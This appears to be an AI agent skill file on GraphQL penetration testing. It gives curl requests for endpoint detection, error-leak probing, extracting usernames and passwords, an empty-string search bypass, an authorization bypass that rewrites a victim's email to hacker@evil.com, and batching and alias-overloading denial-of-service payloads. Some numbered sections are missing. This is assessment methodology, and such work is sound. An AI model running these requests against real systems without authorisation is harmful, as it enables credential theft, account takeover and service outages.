Security testing for GraphQL endpoints. Use this skill whenever you need to test GraphQL APIs for vulnerabilities, enumerate schemas, detect exposed endpoints, or assess security configurations. Trigger this skill for any GraphQL security assessment, penetration testing, or API security review involving GraphQL endpoints.
Security testing for GraphQL endpoints. Use this skill whenever you need to test GraphQL APIs for vulnerabilities, enumerate schemas, detect exposed endpoints, or assess security configurations. Trigger this skill for any GraphQL security assessment, penetration testing, or API security review involving GraphQL endpoints.
GraphQL Security Testing
A comprehensive skill for security testing GraphQL endpoints, from initial discovery through vulnerability assessment.
Quick Start
# Detect if a URL hosts GraphQL
curl -s -X POST -H "Content-Type: application/json" \
-d '{"query": "{__typename}"}' https://target.com/graphql
# Expected response for GraphQL endpoint:# {"data": {"__typename": "Query"}}
Visualize the schema with GraphQL Voyager if introspection is enabled.
3. Test Error Handling
Check if errors leak sensitive information:
# Empty query
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{}"}' https://target.com/graphql
# Invalid field
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{thisdefinitelydoesnotexist}"}' https://target.com/graphql
Verbose errors can reveal schema details, field names, and internal logic.
4. Query Enumeration
Identify queryable objects from the schema. Look for queryType in introspection results.
Extract data by querying exposed fields:
# Query a simple object
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{flags{name,value}}"}' https://target.com/graphql
# Query with arguments (brute force IDs if needed)
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{user(uid:1){username,password}}"}' https://target.com/graphql
Search for empty string bypass - some APIs dump all data when searching with empty strings:
# If you can search by string field
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{theusers(description:""){username,password}}"}' https://target.com/graphql
5. Mutation Testing
Find mutations in the schema (look for mutationType in introspection).
Test mutation operations:
# Example: add a movie
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "mutation{addMovie(name:\"Test\",rating:\"5.0/10\",releaseYear:2024){name,rating}}"}' https://target.com/graphql
Test authorization bypass - try modifying other users' data:
# Attempt to update another user's profile
curl -X POST -H "Content-Type: application/json" \
-d '{"operationName":"updateProfile","variables":{"username":"victim","data":{"email":"hacker@evil.com"}},"query":"mutation updateProfile($username:String!,$data:ProfileInput!){updateProfile(username:$username,data:$data){id}}"}' https://target.com/graphql
Batching attacks - Send multiple queries in one request:
curl -X POST -H "Content-Type: application/json" \
-d '[{"query":"{__typename}"},{"query":"{__typename}"},{"query":"{__typename}"}]' https://target.com/graphql
8. DoS Testing
Use the bundled script to generate DoS payloads:
./scripts/graphql-dos-payloads.sh
Alias overloading - Repeat fields with aliases:
# Generates 100+ aliases for the same field
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{a1:__typename a2:__typename a3:__typename ...}"}' https://target.com/graphql
